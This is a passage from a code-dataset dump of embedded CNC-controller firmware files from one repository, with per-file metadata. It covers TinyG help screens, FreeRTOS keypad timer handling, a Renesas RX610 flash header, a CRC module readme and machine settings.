defaults\\n\\\n\"));\n_status_report_advisory();\n_postscript();\nrpt_print_system_ready_message();\nreturn(STAT_OK);\n}\n\n/*\n * help_config() - help invoked as $h\n */\nstat_t help_config(nvObj_t *nv)\n{\nfprintf_P(stderr, PSTR(\"\\n\\n\\n### TinyG CONFIGURATION Help ###\\n\"));\nfprintf_P(stderr, PSTR(\"\\\nThese commands are active for configuration:\\n\\\n $sys Show system (general) settings\\n\\\n $1 Show motor 1 settings (or whatever motor you want 1,2,3,4)\\n\\\n $x Show X axis settings (or whatever axis you want x,y,z,a,b,c)\\n\\\n $m Show all motor settings\\n\\\n $q Show all axis settings\\n\\\n $o Show all offset settings\\n\\\n $$ Show all settings\\n\\\n $h Show this help screen\\n\\n\\\n\"));\n\nfprintf_P(stderr, PSTR(\"\\\nEach $ command above also displays the token for each setting in [ ] brackets\\n\\\nTo view settings enter a token:\\n\\n\\\n $<token>\\n\\n\\\nFor example $yfr to display the Y max feed rate\\n\\n\\\nTo update settings enter token equals value:\\n\\n\\\n $<token>=<value>\\n\\n\\\nFor example $yfr=800 to set the Y max feed rate to 800 mm/minute\\n\\\nFor configuration details see: https://github.com/synthetos/TinyG/wiki/TinyG-Configuration\\n\\\n\"));\n_status_report_advisory();\n_postscript();\nreturn(STAT_OK);\n}\n\n/*\n * help_test() - help invoked for tests\n */\nstat_t help_test(nvObj_t *nv)\n{\nfprintf_P(stderr, PSTR(\"\\n\\n\\n### TinyG SELF TEST Help ###\\n\"));\nfprintf_P(stderr, PSTR(\"\\\nInvoke self test by entering $test=N where N is one of:\\n\\\n $test=1 smoke test\\n\\\n $test=2 homing test (you must trip homing switches)\\n\\\n $test=3 square test (a series of squares)\\n\\\n $test=4 arc test (some large circles)\\n\\\n $test=5 dwell test (moves spaced by 1 second dwells)\\n\\\n $test=6 feedhold test (enter ! and ~ to hold and restart, respectively)\\n\\\n $test=7 M codes test (M codes intermingled with moves)\\n\\\n $test=8 JSON test (motion test run using JSON commands)\\n\\\n $test=9 inverse time test\\n\\\n $test=10 rotary motion test\\n\\\n $test=11 small moves test\\n\\\n $test=12 slow moves test\\n\\\n $test=13 coordinate system offset test (G92, G54-G59)\\n\\\n\\n\\\nTests assume a centered XY origin and at least 80mm clearance in all directions\\n\\\nTests assume Z has at least 40mm posiitive clearance\\n\\\nTests start with a G0 X0 Y0 Z0 move\\n\\\nHoming is the exception. No initial position or clearance is assumed\\n\\\n\"));\n_postscript();\nreturn(STAT_OK);\n}\n\n/*\n * help_defa() - help invoked for defaults\n */\nstat_t help_defa(nvObj_t *nv)\n{\nfprintf_P(stderr, PSTR(\"\\n\\n\\n### TinyG RESTORE DEFAULTS Help ###\\n\"));\nfprintf_P(stderr, PSTR(\"\\\nEnter $defa=1 to reset the system to the factory default values.\\n\\\nThis will overwrite any changes you have made.\\n\"));\n_postscript();\nreturn(STAT_OK);\n}\n\n/*\n * help_boot_loader()\n */\nstat_t help_boot_loader(nvObj_t *nv)\n{\nfprintf_P(stderr, PSTR(\"\\n\\n\\n### TinyG BOOT LOADER Help ###\\n\"));\nfprintf_P(stderr, PSTR(\"\\\nEnter $boot=1 to enter the boot loader.\\n\"));\n_postscript();\nreturn(STAT_OK);\n}\n\n#endif // __HELP_SCREENS\n\n#ifdef __cplusplus\n}\n#endif\n" }, { "alpha_fraction": 0.6171107888221741, "alphanum_fraction": 0.6259467005729675, "avg_line_length": 23.00673484802246, "blob_id": "529be05a5bb23722a5c23e5f8f9e0eebe762da55", "content_id": "183f25d87d9eb0063cc604ded60208efc1d7a775", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7130, "license_type": "no_license", "max_line_length": 85, "num_lines": 297, "path": "/src/config/interpreter_fileRunning_if.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * interpreter_fileRunning_if.c\n *\n * Created on: 22/12/2015\n * Author: leocafonso\n */\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"canonical_machine.h\"\n#include \"plan_arc.h\"\n#include \"planner.h\"\n#include \"macros.h\"\n#include \"stepper.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"timers.h\"\n#include \"config_SwTimers.h\"\n\n#include \"platform.h\"\n#include \"interpreter_if.h\"\n#include \"eeprom.h\"\n#include \"ut_state_config_var.h\"\n\nextern bool sim;\n\nstatic void iif_enter_filerunning(void);\nstatic void iif_esc_filerunning(void);\nstatic void iif_down_filerunning(void);\nstatic void iif_up_filerunning(void);\nstatic void iif_left_filerunning(void);\nstatic void iif_right_filerunning(void);\nstatic void iif_zdown_filerunning(void);\nstatic void iif_zup_filerunning(void);\nstatic void iif_released_filerunning(void);\n\nstatic void iif_enter_warning(void);\nstatic void iif_esc_warning(void);\nstatic void iif_down_warning(void);\nstatic void iif_up_warning(void);\n\nfloat zmove = 0;\nfloat feedratepercent = 0.05;\nvoid vTimerCallback( TimerHandle_t pxTimer );\nvoid vTimerCallbackVelocity( TimerHandle_t pxTimer );\n\nvoid iif_enter_filerunning(void)\n{\n\tcm_request_cycle_start();\n}\n\nvoid iif_esc_filerunning(void)\n{\n\tcm_request_feedhold();\n}\n\nvoid iif_zdown_filerunning(void) {\n\n\t xTimerStart( swTimers[ZDOWN_FILERUNNING_TIMER], 0 );\n}\nvoid iif_zup_filerunning(void)\n{\n\t xTimerStart( swTimers[ZUP_FILERUNNING_TIMER], 0 );\n}\nvoid iif_left_filerunning(void)\n{\n\txTimerStart( swTimers[LEFT_FILERUNNING_TIMER], 0 );\n\n}\nvoid iif_right_filerunning(void)\n{\n\txTimerStart( swTimers[RIGHT_FILERUNNING_TIMER], 0 );\n}\n\nvoid iif_down_filerunning(void)\n{\n#ifdef VEL_CHANGE\n\t xTimerStart( swTimers[DOWN_FILERUNNING_TIMER], 0 );\n#endif\n}\nvoid iif_up_filerunning(void)\n{\n#ifdef VEL_CHANGE\n\t xTimerStart( swTimers[UP_FILERUNNING_TIMER], 0 );\n#endif\n}\n\nvoid iif_released_filerunning(void)\n{\n\tzmove = 0;\n\txTimerStop(swTimers[ZDOWN_FILERUNNING_TIMER], 0 );\n\txTimerStop(swTimers[ZUP_FILERUNNING_TIMER], 0 );\n\txTimerStop(swTimers[LEFT_FILERUNNING_TIMER], 0 );\n\txTimerStop(swTimers[RIGHT_FILERUNNING_TIMER], 0 );\n#ifdef VEL_CHANGE\n\txTimerStop(swTimers[DOWN_FILERUNNING_TIMER], 0 );\n\txTimerStop(swTimers[UP_FILERUNNING_TIMER], 0 );\n#endif\n}\n\nvoid iif_bind_filerunning(void)\n{\n\tif(swTimers[ZUP_FILERUNNING_TIMER] == NULL)\n\t{\n\tswTimers[ZUP_FILERUNNING_TIMER] = xTimerCreate\n\t ( \"Timer 1\",\n\t ( 500 ),\n\t pdTRUE,\n\t ( void * ) ZUP_FILERUNNING_TIMER,\n\t vTimerCallback\n\t );\n\t}\n\tif(swTimers[ZDOWN_FILERUNNING_TIMER] == NULL)\n\t{\n\tswTimers[ZDOWN_FILERUNNING_TIMER] = xTimerCreate\n\t ( \"Timer 1\",\n\t ( 500 ),\n\t pdTRUE,\n\t ( void * ) ZDOWN_FILERUNNING_TIMER,\n\t vTimerCallback\n\t );\n\t}\n\tif(swTimers[RIGHT_FILERUNNING_TIMER] == NULL)\n\t{\n\tswTimers[RIGHT_FILERUNNING_TIMER] = xTimerCreate\n\t ( \"Timer 1\",\n\t ( 150 ),\n\t pdTRUE,\n\t ( void * ) RIGHT_FILERUNNING_TIMER,\n\t vTimerCallback\n\t );\n\t}\n\tif(swTimers[LEFT_FILERUNNING_TIMER] == NULL)\n\t{\n\tswTimers[LEFT_FILERUNNING_TIMER] = xTimerCreate\n\t ( \"Timer 1\",\n\t ( 150 ),\n\t pdTRUE,\n\t ( void * ) LEFT_FILERUNNING_TIMER,\n\t vTimerCallback\n\t );\n\t}\n#ifdef VEL_CHANGE\n\tswTimers[DOWN_FILERUNNING_TIMER] = xTimerCreate\n\t ( \"Timer 1\",\n\t ( 500 ),\n\t pdTRUE,\n\t ( void * ) DOWN_FILERUNNING_TIMER,\n\t\t\t\t\t\t vTimerCallbackVelocity\n\t );\n\tswTimers[UP_FILERUNNING_TIMER] = xTimerCreate\n\t ( \"Timer 1\",\n\t ( 500 ),\n\t pdTRUE,\n\t ( void * ) UP_FILERUNNING_TIMER,\n\t\t\t\t\t\t vTimerCallbackVelocity\n\t );\n#endif\n\tiif_func_enter = &iif_enter_filerunning;\n\tiif_func_esc = &iif_idle;\n\tiif_func_down = &iif_down_filerunning;\n\tiif_func_up = &iif_up_filerunning;\n\tiif_func_left = &iif_left_filerunning;\n\tiif_func_right = &iif_right_filerunning;\n\tiif_func_zdown = &iif_zdown_filerunning;\n\tiif_func_zup = &iif_zup_filerunning;\n\tiif_func_released = &iif_released_filerunning;\n\tiif_func_cycleStop = &iif_idle;\n}\n\nvoid iif_bind_filerunning_stop(bool stop)\n{\n\tif(stop)\n\t{\n\t\tiif_func_esc = &iif_esc_filerunning;\n\t}\n\telse\n\t{\n\t\tiif_func_esc = &iif_idle;\n\t}\n}\n\nvoid iif_bind_warning(void)\n{\n\tiif_func_enter = &iif_enter_warning;\n\tiif_func_esc = &iif_esc_warning;\n\tiif_func_down = &iif_down_warning;\n\tiif_func_up = &iif_up_warning;\n\tiif_func_left = &iif_idle;\n\tiif_func_right = &iif_idle;\n\tiif_func_zdown = &iif_idle;\n\tiif_func_zup = &iif_idle;\n\tiif_func_released = &iif_idle;\n\tiif_func_cycleStop = &iif_idle;\n}\n\nstatic void iif_enter_warning(void)\n{\n\n}\nstatic void iif_esc_warning(void)\n{\n\n}\nstatic void iif_down_warning(void)\n{\n\n}\nstatic void iif_up_warning(void)\n{\n\n}\n\n\nvoid vTimerCallback( TimerHandle_t pxTimer )\n{\n\tlong lArrayIndex;\n\n\t/* Optionally do something if the pxTimer parameter is NULL. */\n\tconfigASSERT( pxTimer );\n\n\t/* Which timer expired? */\n\tlArrayIndex = ( long ) pvTimerGetTimerID( pxTimer );\n\tif(configFlags[MODOMAQUINA] == MODO_OXICORTE)\n\t{\n\t\tswitch (lArrayIndex)\n\t\t{\n\t\t\tcase RIGHT_FILERUNNING_TIMER:\n\t\t\t\tif(isDwell)\n\t\t\t\t{\n\t\t\t\t\tst_set_dwell_elapsed_time(1);\n\t\t\t\t\tconfigVarOx[tempoDwell] += 1;\n\t\t\t\t}\n\t\t\tbreak;\n\t\t\tcase LEFT_FILERUNNING_TIMER:\n\t\t\t\tif(isDwell)\n\t\t\t\t{\n\t\t\t\t\tst_set_dwell_elapsed_time(-1);\n\t\t\t\t\tconfigVarOx[tempoDwell] -= 1;\n\t\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (configFlags[MODOMAQUINA] == MODO_OXICORTE || sim){\n\t\tswitch (lArrayIndex)\n\t\t{\n\t\t\tcase ZUP_FILERUNNING_TIMER: zmove = 0.005;\n\t\t\tbreak;\n\t\t\tcase ZDOWN_FILERUNNING_TIMER: zmove = -0.005;\n\t\t\tbreak;\n\t\t}\n\t}\n\telse\n\t{\n\t\tswitch (lArrayIndex)\n\t\t{\n\t\t\tcase ZUP_FILERUNNING_TIMER: configVarPl[PL_CONFIG_TENSAO_THC] += 1;\n\t\t\t\t\t\t\t\t\t\tif(configVarPl[PL_CONFIG_TENSAO_THC] > THC_VMAX)\n\t\t\t\t\t\t\t\t\t\t\tconfigVarPl[PL_CONFIG_TENSAO_THC] = THC_VMAX;\n\t\t\tbreak;\n\t\t\tcase ZDOWN_FILERUNNING_TIMER: configVarPl[PL_CONFIG_TENSAO_THC] -= 1;\n\t\t\t\t\t\t\t\t\t\t if(configVarPl[PL_CONFIG_TENSAO_THC] < THC_VMIN)\n\t\t\t\t\t\t\t\t\t\t\t configVarPl[PL_CONFIG_TENSAO_THC] = THC_VMIN;\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\n#ifdef VEL_CHANGE\nvoid vTimerCallbackVelocity( TimerHandle_t pxTimer )\n{\n\tlong lArrayIndex;\n\tmpBuf_t *bf = mp_get_run_buffer();\n\t/* Optionally do something if the pxTimer parameter is NULL. */\n\tconfigASSERT( pxTimer );\n\tif (bf->gm.motion_mode == MOTION_MODE_STRAIGHT_FEED ||\n\t\tbf->gm.motion_mode == MOTION_MODE_CW_ARC ||\n\t\tbf->gm.motion_mode == MOTION_MODE_CCW_ARC)\n\t{\n\t\tif(mr.section == SECTION_BODY)\n\t\t{\n\t\t\t/* Which timer expired? */\n\t\t\tlArrayIndex = ( long ) pvTimerGetTimerID( pxTimer );\n\t\t\tswitch (lArrayIndex)\n\t\t\t{\n\t\t\t\tcase DOWN_FILERUNNING_TIMER: cm.gmx.feed_rate_override_factor -= feedratepercent;\n\t\t\t\tbreak;\n\t\t\t\tcase UP_FILERUNNING_TIMER: cm.gmx.feed_rate_override_factor += feedratepercent;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tmp_plan_feedrateoverride_callback(mp_get_run_buffer());\n\t\t}\n\t}\n\n}\n#endif\n" }, { "alpha_fraction": 0.48598676919937134, "alphanum_fraction": 0.5892370343208313, "avg_line_length": 47.24413299560547, "blob_id": "e46a3a30b81cd552b34a1d62b97b2771d36d8e53", "content_id": "f749d0d04048cb4327636b150b095be82f8b1a66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10276, "license_type": "no_license", "max_line_length": 88, "num_lines": 213, "path": "/r_flash_api_rx/src/targets/rx610/r_flash_api_rx610.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2012 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/******************************************************************************\n* File Name : r_flash_api_rx610.h\n* Description : This file has specific information about the ROM and DF on \n* RX610 Group MCUs.\n*******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 11.09.2012 1.00 First Release\n* : 10.10.2012 1.10 Added FCU_RAM_INIT_REQUIRED macro.\n******************************************************************************/\n\n#ifndef _FLASH_API_RX610_H\n#define _FLASH_API_RX610_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Defines standard typedefs used in this file */\n#include <stdint.h>\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* Defines the number of flash areas */\n#define NUM_ROM_AREAS 2 \n/* Defines the start program/erase address for the different flash areas */\n#define ROM_AREA_0 (0x00F00000)\n#define ROM_AREA_1 (0x00E00000)\n\n/* Defines whether this MCU requires the FCU RAM be enabled and initialized.\n If uncommented, then MCU is required to init FCU RAM.\n If commented out, then MCU is not required. */\n#define FCU_RAM_INIT_REQUIRED (1)\n\n/* Bottom of DF Area */\n#define DF_ADDRESS 0x00100000\n/* Used for getting DF block */\n#define DF_MASK 0xFFFFE000\n/* Used for getting erase boundary in DF block when doing blank checking */\n#define DF_ERASE_BLOCK_SIZE 0x00002000\n/* Defines how many DF blocks are on this part */\n#define DF_NUM_BLOCKS 4\n\n/* Defines how many ROM blocks are on this part */\n#if BSP_ROM_SIZE_BYTES == 2097152\n #define ROM_NUM_BLOCKS 28 //2MB part\n#elif BSP_ROM_SIZE_BYTES == 1572864\n #define ROM_NUM_BLOCKS 24 //1.5MB part\n#elif BSP_ROM_SIZE_BYTES == 1048576\n #define ROM_NUM_BLOCKS 20 //1MB part\n#elif BSP_ROM_SIZE_BYTES == 786432\n #define ROM_NUM_BLOCKS 18 //768KB part\n#endif\n\n/* Programming size for ROM in bytes */\n#define ROM_PROGRAM_SIZE 256\n/* Programming sizes for data flash in bytes. Some MCUs have two sizes\n (e.g. 8-bytes or 128-bytes) that's why there is a LARGE and SMALL */\n#define DF_PROGRAM_SIZE_LARGE 128\n#define DF_PROGRAM_SIZE_SMALL 8\n\n/* User ROM Block Area Size: Start Addr - End Addr */\n#define BLOCK_0 0 /* 8KB: 0xFFFFE000 - 0xFFFFFFFF */\n#define BLOCK_1 1 /* 8KB: 0xFFFFC000 - 0xFFFFDFFF */\n#define BLOCK_2 2 /* 8KB: 0xFFFFA000 - 0xFFFFBFFF */\n#define BLOCK_3 3 /* 8KB: 0xFFFF8000 - 0xFFFF9FFF */\n#define BLOCK_4 4 /* 8KB: 0xFFFF6000 - 0xFFFF7FFF */\n#define BLOCK_5 5 /* 8KB: 0xFFFF4000 - 0xFFFF5FFF */\n#define BLOCK_6 6 /* 8KB: 0xFFFF2000 - 0xFFFF3FFF */\n#define BLOCK_7 7 /* 8KB: 0xFFFF0000 - 0xFFFF1FFF */\n#define BLOCK_8 8 /* 64KB: 0xFFFE0000 - 0xFFFEFFFF */\n#define BLOCK_9 9 /* 64KB: 0xFFFD0000 - 0xFFFDFFFF */\n#define BLOCK_10 10 /* 64KB: 0xFFFC0000 - 0xFFFCFFFF */\n#define BLOCK_11 11 /* 64KB: 0xFFFB0000 - 0xFFFBFFFF */\n#define BLOCK_12 12 /* 64KB: 0xFFFA0000 - 0xFFFAFFFF */\n#define BLOCK_13 13 /* 64KB: 0xFFF90000 - 0xFFF9FFFF */\n#define BLOCK_14 14 /* 64KB: 0xFFF80000 - 0xFFF8FFFF */\n#define BLOCK_15 15 /* 64KB: 0xFFF70000 - 0xFFF7FFFF */\n#define BLOCK_16 16 /* 64KB: 0xFFF60000 - 0xFFF6FFFF */\n#define BLOCK_17 17 /* 128KB: 0xFFF40000 - 0xFFF5FFFF */\n#define BLOCK_18 18 /* 128KB: 0xFFF20000 - 0xFFF3FFFF */\n#define BLOCK_19 19 /* 128KB: 0xFFF00000 - 0xFFF1FFFF */\n#define BLOCK_20 20 /* 128KB: 0xFFEE0000 - 0xFFEFFFFF */\n#define BLOCK_21 21 /* 128KB: 0xFFEC0000 - 0xFFEDFFFF */\n#define BLOCK_22 22 /* 128KB: 0xFFEA0000 - 0xFFEBFFFF */\n#define BLOCK_23 23 /* 128KB: 0xFFE80000 - 0xFFE9FFFF */\n#define BLOCK_24 24 /* 128KB: 0xFFE60000 - 0xFFE7FFFF */\n#define BLOCK_25 25 /* 128KB: 0xFFE40000 - 0xFFE5FFFF */\n#define BLOCK_26 26 /* 128KB: 0xFFE20000 - 0xFFE3FFFF */\n#define BLOCK_27 27 /* 128KB: 0xFFE00000 - 0xFFE1FFFF */\n\n/* Data Flash Block Area Size: Start Addr - End Addr */\n#define BLOCK_DB0 28 /* 8KB: 0x00100000 - 0x00101FFF */\n#define BLOCK_DB1 29 /* 8KB: 0x00102000 - 0x00103FFF */\n#define BLOCK_DB2 30 /* 8KB: 0x00104000 - 0x00105FFF */\n#define BLOCK_DB3 31 /* 8KB: 0x00106000 - 0x00107FFF */\n\n/* Array of flash addresses used for writing */\n#if defined(FLASH_BLOCKS_DECLARE) \nconst uint32_t g_flash_BlockAddresses[32] = { \n /* Caution. ID CODE(FFFFFFA0-FFFFFFAF) is excluded. */ \n 0x00FFE000, /* EB00 */ \n 0x00FFC000, /* EB01 */ \n 0x00FFA000, /* EB02 */ \n 0x00FF8000, /* EB03 */ \n 0x00FF6000, /* EB04 */ \n 0x00FF4000, /* EB05 */ \n 0x00FF2000, /* EB06 */ \n 0x00FF0000, /* EB07 */ \n 0x00FE0000, /* EB08 */ \n 0x00FD0000, /* EB09 */ \n 0x00FC0000, /* EB10 */ \n 0x00FB0000, /* EB11 */ \n 0x00FA0000, /* EB12 */ \n 0x00F90000, /* EB13 */ \n 0x00F80000, /* EB14 */ \n 0x00F70000, /* EB15 */ \n 0x00F60000, /* EB16 */ \n 0x00F40000, /* EB17 */ \n 0x00F20000, /* EB18 */ \n 0x00F00000, /* EB19 */ \n 0x00EE0000, /* EB20 */ \n 0x00EC0000, /* EB21 */ \n 0x00EA0000, /* EB22 */ \n 0x00E80000, /* EB23 */ \n 0x00E60000, /* EB24 */ \n 0x00E40000, /* EB25 */ \n 0x00E20000, /* EB26 */ \n 0x00E00000, /* EB27 */ \n 0x00100000, /* DB00 */ \n 0x00102000, /* DB01 */ \n 0x00104000, /* DB02 */ \n 0x00106000}; /* DB03 */ \n#else \nextern const uint32_t g_flash_BlockAddresses[32];\n#endif \n\n/* Define the clock frequency supplied to the FCU. On the RX610 and Rx62x\n this is the PCLK. On the RX63x it is the FCLK. */\n#define FLASH_CLOCK_HZ BSP_PCLK_HZ \n\n/* According to HW Manual the Max Programming Time for 256 bytes (ROM)\n is 12ms. This is with a PCLK of 50MHz. The calculation below\n calculates the number of ICLK ticks needed for the timeout delay.\n The 12ms number is adjusted linearly depending on the PCLK frequency.\n*/\n#define WAIT_MAX_ROM_WRITE \\\n ((int32_t)(12000 * (50.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000))\n\n/* According to HW Manual the Max Programming Time for 128 bytes\n (Data Flash) is 5ms. This is with a PCLK of 50MHz. The calculation\n below calculates the number of ICLK ticks needed for the timeout delay.\n The 5ms number is adjusted linearly depending on the PCLK frequency.\n*/\n#define WAIT_MAX_DF_WRITE \\\n ((int32_t)(5000 * (50.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000))\n\n/* According to HW Manual the Max Blank Check time for 2k bytes\n (Data Flash) is 0.7ms. This is with a PCLK of 50MHz. The calculation\n below calculates the number of ICLK ticks needed for the timeout delay.\n The 0.7ms number is adjusted linearly depending on the PCLK frequency.\n*/\n#define WAIT_MAX_BLANK_CHECK \\\n ((int32_t)(700 * (50.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000))\n \n/* According to HW Manual the max timeout value when using the peripheral\n clock notification command is 60us. This is with a PCLK of 50MHz. The \n calculation below calculates the number of ICLK ticks needed for the \n timeout delay. The 10us number is adjusted linearly depending on \n the PCLK frequency.\n*/\n#define WAIT_MAX_NOTIFY_FCU_CLOCK \\\n ((int32_t)(60 * (50.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000)) \n\n/* According to HW Manual the Max Erasure Time for a 128kB block\n is 1750ms. This is with a PCLK of 50MHz. The calculation below\n calculates the number of ICLK ticks needed for the timeout delay.\n The 1750ms number is adjusted linearly depending on the PCLK frequency.\n*/\n#define WAIT_MAX_ERASE \\\n ((int32_t)(1750000 * (50.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000)) \n\n/******************************************************************************\nError checking\n******************************************************************************/\n/* PCLK must be between 8MHz and 50MHz. */\n#if (FLASH_CLOCK_HZ > 50000000) || (FLASH_CLOCK_HZ < 8000000)\n #error \"ERROR - Flash API - PCLK on RX610 must be between 8MHz and 50MHz!\"\n#endif\n\n#endif /* _FLASH_API_RX610_H */\n" }, { "alpha_fraction": 0.5782701969146729, "alphanum_fraction": 0.6147248148918152, "avg_line_length": 16.506328582763672, "blob_id": "5d65245ebbc3f8c1dac1d1d838108490a9c10308", "content_id": "02f485723fb22f4e05ba53b355141eef98fb536a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1399, "license_type": "no_license", "max_line_length": 113, "num_lines": 79, "path": "/r_crc_rx/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nr_crc_rx\n========\n\nDocument Number \n---------------\nSample Code\n\nVersion\n-------\nv1.20\n\nOverview\n--------\nPerforms 16-bit CRC calculations using the CRC peripheral on RX MCUs.\n\nFeatures\n--------\n* Has options for 3 different polynomials\n\nSupported MCUs\n--------------\n* RX610 Group\n* RX621, RX62N Group\n* RX62T Group\n* RX630 Group\n* RX631, RX63N Group \n* RX63T Group\n* RX210 Group\n* RX111 Group\n\nBoards Tested On\n----------------\n* RSKRX610\n* RSK+RX62N\n* RSKRX62T\n* RDKRX62N\n* RSKRX630\n* RSKRX63N\n* RDKRX63N\n\nLimitations\n-----------\n* None\n\nPeripherals Used Directly\n-------------------------\n* CRC\n\nRequired Packages\n-----------------\n* None\n\nHow to add to your project\n--------------------------\n* Add src\\r_crc_rx.c to your project.\n* Add an include path to the 'r_crc_rx' directory. \n* Add an include path to the 'r_crc_rx\\src' directory.\n* Copy r_crc_rx_config_reference.h from 'ref' directory to your desired location and rename to r_crc_rx_config.h.\n* Configure middleware through r_crc_rx_config.h.\n* Add a #include for r_crc_rx_if.h to any source files that need to use this module.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n\nFile Structure\n--------------\nr_crc_rx\n| readme.txt\n| r_crc_rx_if.h\n|\n+---doc\n+---ref\n| r_crc_rx_config_reference.h\n|\n\\---src\n r_crc_rx.c \n" }, { "alpha_fraction": 0.6079999804496765, "alphanum_fraction": 0.6448888778686523, "avg_line_length": 36.5, "blob_id": "74913b7da59daa49a1da1be2c19045680077f702", "content_id": "551d9b0884d1834f58dce973f5eedd0ee77d724b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2250, "license_type": "no_license", "max_line_length": 123, "num_lines": 60, "path": "/src/cnc/settings/settings_unimaq.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * settings_mobile.h */\n\n/***********************************************************************/\n/**** mobile profile ********************************************/\n/***********************************************************************/\n\n// ***> NOTE: The init message must be a single line with no CRs or LFs\n#define INIT_MESSAGE \"Initializing configs to Shapeoko2 500mm profile\"\n\n#define JUNCTION_DEVIATION_UN\t\t0.2// default value, in mm - smaller is faster\n#define JUNCTION_ACCELERATION_UN\t160000\t// 2 million - centripetal acceleration around corners\n\n// *** motor settings ***\n\n// *** motor settings ***\n#define M1_MOTOR_MAP_UN\t\t\t\tAXIS_Z\n#define M1_TRAVEL_PER_REV_RETA_UN\tCREM_RETA\n#define M1_TRAVEL_PER_REV_HELI_UN\tCREM_HELI\n#define M1_MICROSTEPS_UN\t\t\t64\n#define M1_POLARITY_UN\t\t\t\t0\n\n#define M2_MOTOR_MAP_UN\t\t\t\tAXIS_Y // Y1 - left side of machine\n#define M2_TRAVEL_PER_REV_RETA_UN\tCREM_RETA\n#define M2_TRAVEL_PER_REV_HELI_UN\tCREM_HELI\n#define M2_MICROSTEPS_UN\t\t\t64\n#define M2_POLARITY_UN\t\t\t\t0\n\n#define M3_MOTOR_MAP_UN\t\t\t\tAXIS_X // X2 - right sif of machine\n#define M3_TRAVEL_PER_REV_RETA_UN\tCREM_RETA\n#define M3_TRAVEL_PER_REV_HELI_UN\tCREM_HELI\n#define M3_MICROSTEPS_UN\t\t\t64\n#define M3_POLARITY_UN\t\t\t\t1\n\n#define M4_MOTOR_MAP_UN\t\t\t\tAXIS_X\n#define M4_TRAVEL_PER_REV_RETA_UN\tCREM_RETA\n#define M4_TRAVEL_PER_REV_HELI_UN\tCREM_HELI\n#define M4_MICROSTEPS_UN\t\t\t64\n#define M4_POLARITY_UN\t\t\t\t0\n\n#define Z_STEP_PULSE_UN \t\t\t(M1_TRAVEL_PER_REV_UN*M1_STEP_ANGLE)/(360*M1_MICROSTEPS_UN)\n// *** axis settings ***\n\n// These are relative conservative values for a well-tuned Shapeoko2 or similar XY belt / Z screw machine\n#define X_VELOCITY_MAX_UN\t\t\t7000\n#define X_FEEDRATE_MAX_UN\t\t\tY_VELOCITY_MAX_UN\n#define X_JERK_MAX_UN\t\t\t\t400\n#define X_JUNCTION_DEVIATION_UN\t\tJUNCTION_DEVIATION_UN\n\n#define Y_VELOCITY_MAX_UN\t\t\t7000\n#define Y_FEEDRATE_MAX_UN\t\t\tY_VELOCITY_MAX\n#define Y_JERK_MAX_UN\t\t\t\t400\n#define Y_JUNCTION_DEVIATION_UN\t\tJUNCTION_DEVIATION_UN\n\n\n#define Z_VELOCITY_MAX_UN\t\t\t700\n#define Z_FEEDRATE_MAX_UN\t\t\tZ_VELOCITY_MAX_UN\n // value must be large enough to guarantee return to Zmax during homing\n#define Z_JERK_MAX_UN\t\t\t\t1000\t\t\t\t\t// 50,000,000\n#define Z_JUNCTION_DEVIATION_UN\t\tJUNCTION_DEVIATION_UN\n" }, { "alpha_fraction": 0.40809744596481323, "alphanum_fraction": 0.41533905267715454, "avg_line_length": 32.753334045410156, "blob_id": "76d44a9258d0611829ce95f80c475fffe8720013", "content_id": "77bd66ed366cca666ed2c8ff8d59ff9fcc8fd52d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 15190, "license_type": "no_license", "max_line_length": 120, "num_lines": 450, "path": 